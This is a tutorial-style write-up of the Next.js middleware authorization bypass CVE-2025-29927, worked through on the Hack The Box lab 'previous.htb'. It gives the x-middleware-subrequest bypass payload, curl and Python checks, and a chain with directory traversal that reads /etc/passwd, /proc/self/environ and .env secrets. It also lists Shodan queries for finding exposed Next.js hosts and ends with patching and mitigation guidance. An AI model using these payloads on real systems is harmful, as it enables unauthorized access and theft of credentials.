CVE-2025-29927: Next.js Middleware Authorization Bypass
CVE-2025-29927: Next.js Middleware Authorization Bypass
Introduction
CVE-2025-29927 is a critical authorization bypass vulnerability affecting Next.js applications that rely on middleware to enforce access controls.
The vulnerability allows an unauthenticated attacker to potentially bypass middleware based authorization by supplying a specially crafted x-middleware-subrequest HTTP header.
If an application relies on Next.js middleware as its primary authorization boundary, an attacker may be able to access routes that should normally require authentication.
The vulnerability is tracked as:
1
2
3
CVE-2025-29927
GHSA-f82v-jwr5-mffw
CWE-285: Improper Authorization
The vulnerability received a CVSS 3.1 score of 9.1 Critical:
1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Versions
Affected Next.js branches include versions prior to the corresponding security fixes:
| Next.js branch | Patched version |
|---|---|
| 12.x | 12.3.5 |
| 13.x | 13.5.9 |
| 14.x | 14.2.25 |
| 15.x | 15.2.3 |
Applications should preferably upgrade to a currently supported and fully patched Next.js release rather than treating these historical versions as recommended targets.
Technology Fingerprinting
To demonstrate CVE-2025-29927 in a practical environment, we will use the Hack The Box machine Previous, available as previous.htb.
Before testing the application for vulnerabilities, the first step is to identify the technologies running on the target.
Using WhatWeb:
1
whatweb http://previous.htb
The following technologies were identified:
1
http://previous.htb [200 OK] Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.242.162], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]
Several useful pieces of information can immediately be extracted from the result:
| Technology | Observation |
|---|---|
| Next.js | Identified through X-Powered-By[Next.js]
|
| nginx | Version 1.18.0 |
| Operating system | Ubuntu Linux indicated by the server banner |
| HTML | HTML5 |
[email protected] |
The most interesting result for this research is:
1
X-Powered-By[Next.js]
This confirms that the target application is using Next.js.
At this stage, technology fingerprinting alone does not demonstrate that the application is vulnerable to CVE-2025-29927. However, identifying Next.js provides a reason to investigate Next.js-specific vulnerabilities and whether middleware is being used to protect application routes.
Finding Next.js Applications with Shodan
WhatWeb confirmed that previous.htb is running Next.js. Another useful approach during reconnaissance is to use Shodan to identify Internet-facing systems where Next.js has been detected.
Using the Shodan web interface, search for:
1
http.component:"Next.js"
This searches Shodan’s indexed data for web applications where Next.js has been identified.
The results can also be narrowed by country:
1
http.component:"Next.js" country:NL
or by HTTP status:
1
http.component:"Next.js" http.status:200
Multiple filters can also be combined:
1
http.component:"Next.js" country:NL http.status:200
This provides a passive reconnaissance method for identifying Next.js deployments without actively scanning the systems returned by the search.
It is important to distinguish technology discovery from vulnerability identification. A Shodan result identifying Next.js does not mean that the system is vulnerable to CVE-2025-29927.
The Next.js version, deployment configuration and use of middleware-based authorization still need to be established before determining whether CVE-2025-29927 is applicable.
For the remainder of this article, we will continue using the authorized Hack The Box previous.htb environment to demonstrate the vulnerability.
Understanding Next.js Middleware
Next.js middleware allows application logic to execute before a request reaches its destination.
One common use case is authentication:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import { NextResponse } from "next/server";
export function middleware(request) {
const authenticated = checkAuthentication(request);
if (!authenticated) {
return NextResponse.redirect(
new URL("/signin", request.url)
);
}
return NextResponse.next();
}
export const config = {
matcher: ["/docs/:path*"]
};
The expected flow is:
1
2
3
4
5
6
7
8
9
10
11
HTTP Request
|
v
Next.js Middleware
|
+---- Not authenticated ----> /signin
|
+---- Authenticated
|
v
Protected Route
The security of this design depends on protected requests actually passing through the middleware.
CVE-2025-29927 breaks that assumption.
The x-middleware-subrequest Header
Next.js internally uses the following HTTP header:
1
x-middleware-subrequest
It is associated with internal middleware subrequests and recursion handling.
The vulnerability allowed an externally supplied value to influence this internal middleware processing.
A request against the lab can look like:
1
2
3
GET /docs HTTP/1.1
Host: previous.htb
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Under vulnerable conditions, the middleware can be skipped.
Conceptually:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Attacker
|
| x-middleware-subrequest
v
Next.js
|
X
Middleware skipped
|
v
Protected Route
|
v
200 OK
If authentication or authorization is enforced exclusively by that middleware, the protected resource can become accessible without satisfying the intended security check.
Why Five Middleware Values?
A frequently demonstrated payload is:
1
middleware:middleware:middleware:middleware:middleware
The behaviour relates to Next.js middleware recursion handling.
Next.js needs to prevent situations where middleware initiated subrequests repeatedly cause the same middleware to execute:
1
2
3
4
5
6
7
8
9
10
11
12
13
middleware
|
v
subrequest
|
v
middleware
|
v
subrequest
|
v
...
The vulnerable implementation trusted information from x-middleware-subrequest when determining whether middleware had already executed sufficiently.
An attacker could therefore manipulate information intended for internal framework processing.
The result is particularly significant when middleware is also enforcing authorization.
Identifying CVE-2025-29927
During testing, the application contained a protected route:
1
/docs
An unauthenticated request:
1
2
GET /docs HTTP/1.1
Host: previous.htb
produced:
1
2
HTTP/1.1 307 Temporary Redirect
Location: /api/auth/signin?callbackUrl=%2Fdocs
The normal flow is therefore:
1
2
3
4
5
6
7
8
9
10
11
12
13
GET /docs
|
v
middleware
|
v
authentication check
|
v
307 redirect
|
v
/api/auth/signin
Now repeat the request with:
1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
The response changes to:
1
HTTP/1.1 200 OK
This behavioural difference demonstrates that the middleware authorization boundary can be bypassed.
Testing with curl
First establish the baseline:
1
curl -i http://previous.htb/docs
The unauthenticated request redirects to the authentication endpoint:
1
2
HTTP/1.1 307 Temporary Redirect
location: /api/auth/signin?callbackUrl=%2Fdocs
Now add the middleware header:
1
2
3
curl -i \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://previous.htb/docs
The application instead returns:
1
HTTP/1.1 200 OK
The important evidence is the behavioural difference:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
WITHOUT HEADER
GET /docs
|
v
307 /api/auth/signin
WITH HEADER
GET /docs
x-middleware-subrequest: ...
|
v
200 OK
|
v
Protected content
A 200 OK response by itself should not be treated as sufficient proof. The returned content should also be examined to establish that an authorization boundary was actually crossed.
Automating Detection with Python
The comparison can easily be automated:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import requests
TARGET = "http://previous.htb"
BYPASS_HEADER = {
"x-middleware-subrequest":
"middleware:middleware:middleware:middleware:middleware"
}
normal = requests.get(
f"{TARGET}/docs",
allow_redirects=False,
timeout=10
)
bypass = requests.get(
f"{TARGET}/docs",
headers=BYPASS_HEADER,
allow_redirects=False,
timeout=10
)
print(f"Normal request: HTTP {normal.status_code}")
if normal.headers.get("Location"):
print(f"Normal redirect: {normal.headers['Location']}")
print(f"Bypass request: HTTP {bypass.status_code}")
if (
normal.status_code in (301, 302, 303, 307, 308)
and bypass.status_code == 200
):
print("[+] Potential CVE-2025-29927 authorization bypass")
else:
print("[-] Bypass not confirmed")
Running the check against previous.htb produces:
1
2
3
4
5
Normal request: HTTP 307
Normal redirect: /api/auth/signin?callbackUrl=%2Fdocs
Bypass request: HTTP 200
[+] Potential CVE-2025-29927 authorization bypass
At this point the discovery flow is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
WhatWeb
|
v
Next.js identified
|
v
/docs
|
v
307 -> /api/auth/signin
|
v
Authentication middleware
|
v
x-middleware-subrequest
|
v
200 OK
|
v
Authorization bypass confirmed
However, reaching /docs is only the beginning.
The next question is:
What else is protected by the same authorization boundary?
Chaining the Vulnerability
CVE-2025-29927 provides an authorization bypass primitive.
It does not inherently provide:
1
2
3
4
Remote Code Execution
Arbitrary File Read
SQL Injection
Command Injection
The actual impact depends on the functionality behind the middleware authorization boundary.
For example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CVE-2025-29927
|
v
Authorization bypass
|
v
Protected API
|
v
Secondary vulnerability
|
+---- Sensitive information
|
+---- File access
|
+---- Administrative functionality
|
+---- Credentials
|
+---- Further compromise
This is where vulnerability chaining becomes particularly important.
Example: Authorization Bypass to Arbitrary File Read
During enumeration of the protected functionality, an interesting API endpoint was identified:
1
/api/download?example=
The example parameter accepts a file path.
Because the API is behind the middleware authorization boundary, the middleware bypass can be supplied when interacting with it.
Testing directory traversal:
1
2
3
curl -i \
-H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
'http://previous.htb/api/download?example=../../../../etc/passwd'
The server responds:
1
2
3
4
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: application/zip
Content-Disposition: attachment; filename="passwd"
More importantly, the response body contains:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:5:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
This confirms arbitrary file read through directory traversal.
It is important to distinguish the two vulnerabilities:
1
2
3
4
5
6
7
8
CVE-2025-29927
=
Authorization bypass
Directory traversal
=
Arbitrary file read
The significance is the chain:
1
2
3
4
5
Authorization bypass
+
Protected directory traversal
=
Unauthenticated arbitrary file read
Why Vulnerability Chaining Matters
Consider two findings assessed independently:
1
2
3
4
5
Finding A
Authorization bypass
Finding B
Authenticated directory traversal
Finding B may initially appear to require valid credentials.
After discovering Finding A:
1
2
3
4
5
6
7
8
9
10
Authorization bypass
|
v
Authentication requirement removed
|
v
Directory traversal becomes reachable
|
v
Unauthenticated file read
The effective risk can therefore be substantially greater than either vulnerability suggests when assessed independently.
After discovering an authentication or authorization bypass, the protected attack surface should be enumerated again.
Moving from File Read to Application Discovery
Reading /etc/passwd confirms the file read vulnerability, but it does not provide much information about the application itself.
Because the vulnerable application is running on Linux, /proc provides several interesting targets:
1
2
3
/proc/self/cmdline
/proc/self/environ
/proc/self/cwd
For example:
1
2
3
python3 previous.py \
-u http://previous.htb \
--file /proc/self/environ
The process environment can reveal information about the running application.
A particularly useful value discovered during enumeration was:
1
PWD=/app
This tells us that the Next.js application is running from:
1
/app
Using /proc/self/cwd
Linux exposes:
1
/proc/self/cwd
as a symbolic link to the current working directory of the running process.
Because the application is running from /app, this provides a convenient way to access application files without needing to hardcode the deployment directory.
For example:
1
2
3
python3 previous.py \
-u http://previous.htb \
--file /proc/self/cwd/package.json
This makes /proc/self/cwd particularly useful for application discovery.
Next.js Application Enumeration
Once arbitrary file read is available, several Next.js application artifacts become interesting.
Examples include:
1
2
3
4
5
6
7
8
9
package.json
.next/
├── BUILD_ID
├── routes-manifest.json
└── server/
├── pages-manifest.json
├── middleware-manifest.json
└── pages/
Rather than blindly guessing source files, these artifacts can be used to systematically reconstruct the application structure.
package.json
Reading:
1
/proc/self/cwd/package.json
can reveal the application’s dependencies.
For example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
"@mdx-js/react": "^3.1.0",
"@next/mdx": "^15.3.0",
"next": "^15.2.2",
"next-auth": "^4.24.11",
"react": "^18.2.0",
"react-dom": "^18.2.0"
}
}
Several relevant technologies can be identified:
1
2
3
Next.js 15.2.2
NextAuth 4.24.11
React 18.2.0
The Next.js version is particularly significant because it falls within the affected version range for CVE-2025-29927.
Version confirmation: The application is running Next.js
15.2.2. The security fix for the affected 15.x branch was introduced in15.2.3, confirming that the identified version predates the patch for CVE-2025-29927.
The application version discovered through file disclosure therefore supports the behaviour already observed during middleware bypass testing.
Next.js Pages Manifest
A particularly useful production artifact is:
1
.next/server/pages-manifest.json
It can be accessed through:
1
/proc/self/cwd/.next/server/pages-manifest.json
The manifest maps HTTP routes to compiled server files.
For example:
1
2
3
4
5
6
{
"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
"/api/download": "pages/api/download.js",
"/docs": "pages/docs.html",
"/signin": "pages/signin.html"
}
This gives us a direct mapping:
1
2
3
4
5
6
7
HTTP endpoint
|
v
pages-manifest.json
|
v
Compiled server implementation
For example:
1
2
3
4
/api/auth/[...nextauth]
|
v
pages/api/auth/[...nextauth].js
and:
1
2
3
4
/api/download
|
v
pages/api/download.js
This is significantly more useful than blindly guessing where server-side application logic is stored.
Middleware Manifest
Another valuable artifact is:
1
.next/server/middleware-manifest.json
The middleware manifest can reveal which application paths are processed by middleware.
For example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"middleware": {
"/": {
"name": "middleware",
"matchers": [
{
"originalSource": "/docs(.*)"
},
{
"originalSource": "/api(.*)"
}
]
}
}
}
This tells us that middleware applies to:
1
2
/docs/*
/api/*
Conceptually:
1
2
3
4
5
6
middleware
|
+-------+-------+
| |
v v
/docs/* /api/*
This explains why bypassing the middleware is considerably more significant than simply accessing /docs.
The authorization boundary also protects API functionality.
Therefore:
1
2
3
4
5
6
7
8
9
10
11
12
CVE-2025-29927
|
v
Middleware skipped
|
+----------+
| |
v v
/docs/* /api/*
|
v
/api/download
The real attack surface is therefore larger than the first protected endpoint discovered.
Environment Files
Application file disclosure may also expose environment configuration files:
1
2
3
.env
.env.local
.env.production
For example:
1
2
3
python3 previous.py \
-u http://previous.htb \
--file /proc/self/cwd/.env
Next.js and NextAuth applications commonly use environment variables such as:
1
2
3
4
NEXTAUTH_SECRET
NEXTAUTH_URL
DATABASE_URL
API_KEY
Environment files should therefore be considered highly sensitive server-side resources.
Secrets obtained from them should be assessed according to their actual purpose rather than automatically assuming that every discovered secret provides direct user authentication.
Finding the Authentication Implementation
The pages manifest provides another useful discovery:
1
/api/auth/[...nextauth]
which maps to:
1
pages/api/auth/[...nextauth].js
The corresponding filesystem path becomes:
1
/proc/self/cwd/.next/server/pages/api/auth/[...nextauth].js
The authentication implementation can therefore be located systematically:
1
2
3
4
5
6
7
8
9
10
pages-manifest.json
|
v
/api/auth/[...nextauth]
|
v
pages/api/auth/[...nextauth].js
|
v
Compiled authentication implementation
This demonstrates how an arbitrary file read vulnerability can evolve into source-assisted application analysis.
Instead of guessing files, the application’s own manifests can be used to map its internal structure.
Mapping the Download Handler
The same approach applies to the vulnerable download API.
The pages manifest maps:
1
/api/download
to:
1
pages/api/download.js
which means the corresponding compiled server-side implementation can be located at:
1
/proc/self/cwd/.next/server/pages/api/download.js
The flow becomes:
1
2
3
4
5
6
7
8
9
10
/api/download
|
v
pages-manifest.json
|
v
pages/api/download.js
|
v
Server-side download logic
This is useful for understanding why the directory traversal exists and how the application processes the example parameter.
Automating the Discovery Process
Performing every request manually quickly becomes repetitive.
The process can therefore be automated using a Python helper.
The automation can perform:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
previous.py
|
+--> Check middleware bypass
|
+--> Confirm arbitrary file read
|
+--> Enumerate /proc information
|
+--> Discover application directory
|
+--> Read package.json
|
+--> Read environment configuration
|
+--> Parse Next.js manifests
|
+--> Map application routes
|
+--> Locate authentication source
|
+--> Locate API source
For example:
1
2
3
python3 previous.py \
-u http://previous.htb \
--auto
The initial stages produce output similar to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
======================================================================
Previous.htb Helper
Next.js Middleware Bypass + File Read Enumeration
======================================================================
[*] Target: http://previous.htb
[1/3] Middleware bypass
[*] Normal request: HTTP 307
[*] Normal redirect: /api/auth/signin?callbackUrl=%2Fdocs
[*] Bypass request: HTTP 200
[+] Middleware bypass confirmed.
[2/3] Arbitrary file read
[+] Arbitrary file read confirmed.
[+] /etc/passwd is readable.
The enumeration stage can then discover files such as:
1
2
3
4
5
6
7
8
9
10
[+] /etc/passwd
[+] /proc/self/cmdline
[+] /proc/self/environ
[+] /proc/self/cwd/package.json
[+] /proc/self/cwd/.env
[+] /proc/self/cwd/.next/BUILD_ID
[+] /proc/self/cwd/.next/routes-manifest.json
[+] /proc/self/cwd/.next/prerender-manifest.json
[+] /proc/self/cwd/.next/server/pages-manifest.json
[+] /proc/self/cwd/.next/server/middleware-manifest.json
The process has therefore evolved from testing a single HTTP header into mapping the internal architecture of the Next.js application.
Complete Attack Flow
The complete lab flow can be represented as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
previous.htb
|
v
Technology Fingerprinting
|
| WhatWeb
v
Next.js
|
v
Browse /docs
|
v
307 -> /api/auth/signin
|
v
Authentication Middleware
|
v
CVE-2025-29927
|
| x-middleware-subrequest
v
Middleware Bypassed
|
v
200 OK
|
v
Enumerate Protected Routes
|
v
/api/download
|
v
Directory Traversal
|
v
../../../../etc/passwd
|
v
Arbitrary File Read
|
v
/proc/self/*
|
+-----------+-----------+
| |
v v
/proc/self/environ /proc/self/cwd
| |
v v
PWD=/app package.json
|
v
Next.js 15.2.2
NextAuth 4.24.11
|
v
Next.js .next/
|
+----------------+----------------+
| |
v v
pages-manifest.json middleware-manifest.json
| |
v v
Application Routes Protected Routes
| |
+---------+---------+ /docs/*
| | /api/*
v v
/api/auth/[...nextauth] /api/download
| |
v v
Compiled Auth Handler Compiled API Handler
|
v
Authentication Analysis
A Better Enumeration Workflow
The methodology can be generalized as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. Identify Next.js
|
v
2. Determine the version
|
v
3. Identify protected routes
|
v
4. Record baseline behaviour
|
v
5. Test x-middleware-subrequest
|
v
6. Compare responses
|
v
7. Confirm authorization bypass
|
v
8. Enumerate newly reachable routes
|
v
9. Test protected functionality
|
v
10. Identify secondary vulnerabilities
|
v
11. Reassess overall impact
Possible Next.js indicators include:
1
2
3
/_next/static/
__NEXT_DATA__
x-powered-by: Next.js
Technology fingerprinting tools such as WhatWeb can help identify the framework before manual verification.
Why This Flow Matters
The interesting part of CVE-2025-29927 is not simply:
1
"Add this HTTP header and receive 200 OK."
The more useful security research methodology is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Fingerprint
|
v
Understand
|
v
Establish baseline
|
v
Bypass
|
v
Enumerate again
|
v
Discover secondary vulnerability
|
v
Chain vulnerabilities
|
v
Understand application architecture
WhatWeb provides the initial clue:
1
X-Powered-By[Next.js]
The protected /docs route establishes the authorization boundary.
CVE-2025-29927 crosses that boundary.
The protected /api/download endpoint introduces a secondary vulnerability.
Directory traversal provides arbitrary file read.
The file read exposes the Next.js application structure.
Finally, the Next.js manifests provide a map of the server-side application implementation.
The progression is therefore:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
WhatWeb
|
v
Next.js
|
v
Protected middleware
|
v
CVE-2025-29927
|
v
Authorization bypass
|
v
Protected API
|
v
Directory traversal
|
v
Arbitrary file read
|
v
Application files
|
v
Next.js manifests
|
v
Route mapping
|
v
Authentication source discovery
This demonstrates why an authorization bypass should rarely be treated as the end of an assessment.
It is often the beginning of a new attack surface.
Impact
The impact of CVE-2025-29927 depends heavily on how the affected application uses middleware.
Potential consequences include:
- Unauthorized access to protected pages
- Unauthorized access to API endpoints
- Exposure of administrative functionality
- Sensitive information disclosure
- Access to authenticated functionality
- Bypassing route-level security assumptions
- Chaining with vulnerabilities behind authentication
The most serious scenarios occur when sensitive operations assume:
1
"If this request reached me, middleware already authorized it."
CVE-2025-29927 demonstrates why that assumption can be dangerous.
In the previous.htb lab, the practical impact is increased because bypassing middleware exposes a protected API containing a directory traversal vulnerability.
The resulting chain becomes:
1
2
3
4
5
Middleware authorization bypass
+
Protected directory traversal
=
Unauthenticated arbitrary file read
Root Cause
At a high level, the vulnerability represents a trust boundary problem.
Next.js uses internal control information:
1
x-middleware-subrequest
that influences whether middleware should execute.
Conceptually:
1
2
3
4
5
6
7
INTERNAL FRAMEWORK STATE
|
v
x-middleware-subrequest
^
|
EXTERNALLY CONTROLLED REQUEST
An external user could influence information intended for internal framework processing.
When that internal decision also determines whether authorization middleware executes, the result can become a security boundary bypass.
Remediation
Affected applications should upgrade Next.js.
Historical patched versions for the affected branches include:
1
2
3
4
12.3.5
13.5.9
14.2.25
15.2.3
Where possible, applications should upgrade to the latest currently supported security release rather than merely targeting the minimum version containing the CVE-2025-29927 fix.
Temporary Mitigation
Where immediate patching is impossible, externally supplied:
1
x-middleware-subrequest
headers should be prevented from reaching the Next.js application.
A reverse proxy, load balancer or WAF may be used to remove or reject externally supplied instances of the header.
This should be considered a temporary mitigation.
Updating the affected framework remains the preferred remediation.
Defence in Depth
Sensitive authorization should not rely exclusively on a single middleware boundary.
Instead of:
1
2
3
4
5
6
7
Request
|
v
Middleware authorization
|
v
Sensitive operation
a stronger architecture is:
1
2
3
4
5
6
7
8
9
10
11
12
13
Request
|
v
Middleware authorization
|
v
Route authorization
|
v
Business logic authorization
|
v
Sensitive operation
Sensitive server-side operations should verify that the caller is authorized rather than assuming that reaching the route proves authorization.
Lessons for Security Researchers
CVE-2025-29927 provides several useful lessons.
Internal Headers Matter
Headers used for framework communication deserve attention when they cross an external trust boundary.
Always Establish a Baseline
Compare:
1
normal request
against:
1
modified request
rather than treating an isolated HTTP status code as evidence.
Authorization Bypass Changes the Attack Surface
Once an authorization boundary has been bypassed, previously inaccessible functionality should be reassessed.
The correct response to:
1
"Authorization bypass confirmed"
should often be:
1
"Enumerate the application again."
Look for Vulnerability Chains
A vulnerability that normally requires authentication can become significantly more dangerous when combined with an authorization bypass.
In this lab:
1
2
3
4
5
Authorization bypass
+
Directory traversal
=
Unauthenticated arbitrary file read
Understand the Framework
Understanding why x-middleware-subrequest exists provides much more insight than simply memorizing a payload.
Application Metadata Can Become a Map
Once file access becomes possible, framework metadata can significantly accelerate application analysis.
For Next.js:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package.json
|
v
Framework versions
pages-manifest.json
|
v
Application routes
middleware-manifest.json
|
v
Middleware coverage
.env
|
v
Application configuration
This can transform a black-box assessment into something much closer to source-assisted analysis.
Conclusion
CVE-2025-29927 demonstrates how an internal framework mechanism can unexpectedly become part of an application’s security boundary.
The vulnerability itself can be summarized as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Attacker controlled request
|
v
x-middleware-subrequest
|
v
Next.js internal logic
|
v
Middleware skipped
|
v
Authorization not executed
|
v
Protected functionality exposed
The previous.htb lab demonstrates the broader significance of this behaviour:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
WhatWeb
|
v
Next.js identified
|
v
CVE-2025-29927
|
v
Authorization bypass
|
v
Protected /api functionality
|
v
Directory traversal
|
v
Arbitrary file read
|
v
Next.js application files
|
v
Application architecture discovery
For defenders, the immediate action is to upgrade affected Next.js deployments and ensure sensitive server-side functionality performs appropriate authorization checks.
For penetration testers and security researchers, the broader lesson is equally important:
After bypassing an authorization boundary, enumerate the attack surface again.
The protected page itself may not represent the greatest impact. The more significant vulnerabilities may exist in functionality that was previously hidden behind that authorization boundary.
References
- Next.js Security Advisory:
GHSA-f82v-jwr5-mffw - CVE:
CVE-2025-29927 - NVD:
CVE-2025-29927 - Next.js Security Advisories
- Next.js Documentation
Disclaimer
The examples in this article are intended for educational purposes, CTF environments, security research and authorized penetration testing only.
Only perform security testing against systems you own or have explicit permission to assess.
